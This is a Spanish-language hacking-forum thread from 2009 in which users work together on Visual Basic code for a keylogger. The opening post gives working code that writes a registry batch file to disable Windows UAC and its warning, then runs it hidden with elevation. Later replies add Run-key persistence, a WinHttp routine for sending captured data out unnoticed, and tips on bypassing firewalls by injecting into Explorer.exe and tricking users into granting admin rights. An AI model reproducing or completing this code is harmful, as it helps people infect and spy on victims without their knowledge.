Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: A2Corp en 23 Mayo 2009, 03:55 am



Título: DESACTIVAR UAC
Publicado por: A2Corp en 23 Mayo 2009, 03:55 am
En un blog encontre el siguiente codigo:

Código:
Option Explicit

Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long

Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2

Const FILE_ATTRIBUTE_NORMAL = &H80

Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long

Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type

Const SW_NORMAL = 1
Const SW_HIDE = 0

Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String

strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"


Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"


If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If

End

End Sub
Private Function Elevate(strPath As String) As Boolean


Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long

With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With

On Error Resume Next

lnRet = ShellExecuteEx(ExInfo)

If lnRet <> 1 Then
Elevate = False
Exit Function
End If

Elevate = True

End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long

hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End Sub


Que desactiva el UAC
aqui escribo un poco de la descripcion que puso el autor:
Citar
by Mono Gramatical at/on 18:29
in

Bueno, estuve probando con algunas claves del registro del Windows Vista, y me parecio interesante dos valores EnableLUA y UACDisableNotify, la primera deshabilita la UAC y la segunda hace que no se muestre la notificación de seguridad que advierte que la UAC ha sido deshabilitada. el inconveniente con esto es que solo se pueden agregar estos valores al registro con privilegios administrativos, es por eso que opte por utilizar la API ShellExecuteEx que combinada con el verbo "Runas" hace que una determinada aplicación solicite y corra con privilegios. para ello primero creo un bat que escribe en el registro y lo ejecuto con privilegios si se acepta la uac queda deshabilitada y de esta forma puedo copiarme a las carpetas del sistema y modificar las claves que activada la UAC no podriamos modificar.

Nos es algo muy bueno pero se puede deshabilitar la UAC sin levantar sospechas

El problema es que al ejecutar el Bat SALTA el control de usuarios y volvemos al principio, :/
Alguien sabe algo respecto a como desactivar el UAC con VB?


Título: Re: DESACTIVAR UAC
Publicado por: XcryptOR en 23 Mayo 2009, 05:00 am
mira esto solicita privilegios de administrador para ejecutar el bat es lógico que te salte el cartel de que necesita permisos para su ejecución o no lo hace cualquier  otro programa? acaso no te has fijado que hasta los propios programas de eindows solicitan permiso de ejecucion ?, en vista aun no he visto como hacer que ese letrero de solicitud de privilegios salte, creo que no has entendido que después de ejecutar el bat con los privilegios de administrador hace que se escriban las claves necesarias para que se desactive la UAC, pero tienes que reiniciar el sistema, para que  surta efecto.

la otra manera de hacer bypass es usar claves del registro y carpetas que no sean sospechosas para la uac, el famoso kavo.exe se extendio demasiado y afecto a muchos ordenadores con vista y la uac ni enterada.

saludos


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 23 Mayo 2009, 05:21 am
 :-[ :-[ :-[  disculpa q no haya publicado la url de tu blog bro pero no sabia si lo tomarian como spam.
si entendi bien lo que hace el script pero crei que tambien era invisible la advertencia de correrse el bat.

Esque lo quiero usar para un Keylogger que tengo en VB y manda la info por iexplore y al estar activado el UAC las ventanas de iexplore no aparecen invisibles, porque creo que el UAC desactiva el metodo:

ShellExecute Me.hwnd, vbNullString, "iexplore.exe", sUrl &  & Cadena, "C:\", 0
deberia abrirse el iexplore de forma invisible pero se abre maximizado.




Título: Re: DESACTIVAR UAC
Publicado por: Karcrack en 23 Mayo 2009, 15:45 pm
Código
  1. Option Explicit
  2. 'SHELL32
  3. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  4. Private Const SW_HIDE As Long = 0
  5.  
  6. Private Sub Form_Load()
  7.    Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
  8. End Sub

A mi me funciona... Win 7...MOD: No, al final aparece

Prueba con CreateProcess/WinExec :¬¬ ;)

Por cierto, si en vez de pasar la URL como parámetro la pones directamente se abre con el Navegador por defecto ;)

Saludos ;)


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 23 Mayo 2009, 17:52 pm
Otra cosa, vuelvo a lo mismo....
Para poder meter con VisualBasic en el registro dentro de  "RUN" teniendo el UAC activo no se graba nada =(


Título: Re: DESACTIVAR UAC
Publicado por: XcryptOR en 23 Mayo 2009, 18:33 pm
colocalo en la clave Run del HKEY_CURRENT_USER, eso no debe presentarte problemas


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 23 Mayo 2009, 19:55 pm
Gracias hermano  :D
Fue lo que hize.
ya voy burlando UAC!

Solo falta que abra el iexplore invisible.


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 23 Mayo 2009, 22:55 pm
Código
  1. Option Explicit
  2. 'SHELL32
  3. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  4. Private Const SW_HIDE As Long = 0
  5.  
  6. Private Sub Form_Load()
  7.    Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
  8. End Sub

A mi me funciona... Win 7...MOD: No, al final aparece

Prueba con CreateProcess/WinExec :¬¬ ;)

Por cierto, si en vez de pasar la URL como parámetro la pones directamente se abre con el Navegador por defecto ;)

Saludos ;)


pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados   :silbar:

buscare acerca de lo que me dijiste espero encontrar algo.


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 23 Mayo 2009, 23:44 pm
podria ser con la winsock api, no?
dejenme probar....


Título: Re: DESACTIVAR UAC
Publicado por: Novlucker en 23 Mayo 2009, 23:57 pm
pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados   :silbar:

Citar
Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)

Saludos


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 24 Mayo 2009, 00:02 am
pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados   :silbar:

Citar
Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)

Saludos

En windows vista con el UAC activado esta opcion no funciona  ;)


Y en Win7 es lo mismo, ya lo dijo karcrack
Citar
A mi me funciona... Win 7...MOD: No, al final aparece


Título: Re: DESACTIVAR UAC
Publicado por: Novlucker en 24 Mayo 2009, 00:14 am
Tienes razón, retiro lo dicho, creo que me voy a tener que montar una VM con Vista  :-X

Saludos


Título: Re: DESACTIVAR UAC
Publicado por: Karcrack en 24 Mayo 2009, 00:33 am
Con este código puedes hacerlo sin problemas ;D
Código
  1. Public Sub OpenURL(ByVal sURL As String)
  2.    Dim oHttp       As Object 'New WinHttp.WinHttpRequest
  3.    Dim sData       As String
  4.  
  5.    'Cargamos el WinHttp
  6.    Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
  7.    With oHttp
  8.        'Establecemos el método de conexión y la URL
  9.        .Open "GET", sURL
  10.        'Enviamos la petición
  11.        .Send
  12.    End With
  13.    'Descargamos el WinHttp
  14.    Set oHttp = Nothing
  15. End Sub

También puedes hacerlo con las APIs correspondientes ;) (InternetOpen*)

Pensé que lo hacías abriendo el 'Iexplorer.exe' para bypassear los FireWalls...


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 24 Mayo 2009, 00:35 am
gracias por el code bro, tambien pude hacerlo agregando el componente de internet control xD
pero creo que iria mejor con la api.
Gracias!
Edito:
AAAh..............
no habia leido lo de bypass los firewalls, de hecho por eso lo hacia con iexplorer  :-X
Mmmmmm tengo que probar como va con el firewall de windows.
:/
sino pues a ver que pasa.
un saludo!


Título: Re: DESACTIVAR UAC
Publicado por: Karcrack en 24 Mayo 2009, 00:44 am
Te recomiendo usar el código que he puesto o usar las APIs, si usas el control INET estas metiendo otra dependencia... odio las dependencias :-X :-X :laugh:

El bypass al FW podrías hacerlo inyectando el código en el Explorer.exe... pero tal vez te suene muy avanzado...

Prueba a agregar el manifest al fichero para que el Vista/W7 pida que se ejecute como Administrador... muchos caen... diría que incluso todos...

Código:
http://www.novell.com/coolsolutions/tools/18193.html

Saludos ;)


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 24 Mayo 2009, 03:48 am
Sabes probe con mi codigo y el firewall de windows no salta, para el grupo de personas que lo tengo enfocado no creo que tengan firewall.
ESPERO!

Por cierto, que problema hay si uso el componente webbrowser?
:S


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 24 Mayo 2009, 04:22 am
mmmmmmmmmh bro con tu codigo no se puede mandar ñ ni acentos vdd?  :-[


Título: Re: DESACTIVAR UAC
Publicado por: Karcrack en 24 Mayo 2009, 11:13 am
Primero has de codear una funcion que pasa los caracteres especiales a los de las URLs... tengo una, pero no esta en este PC... por ejemplo '@' -> %40 ;D

Si luego puedo posteo la funcion ;)

Los inconvenientes de usar el *OCX ? Son bastantes... entre ellos dependencia de un fichero que no ha de estar en todos los PCs, y augmento de peso si 'packearas' :P

Saludos ;)


Título: Re: DESACTIVAR UAC
Publicado por: A2Corp en 24 Mayo 2009, 15:40 pm
es cierto, en este caso dependo de ieframe.dll, correcto?
Quienes pueden no tener esta dll?
d q dependeria? de tener internet explorer o de qe?




seguire viendo opciones.
con la api de wininet y internetopenurl tambien se podria?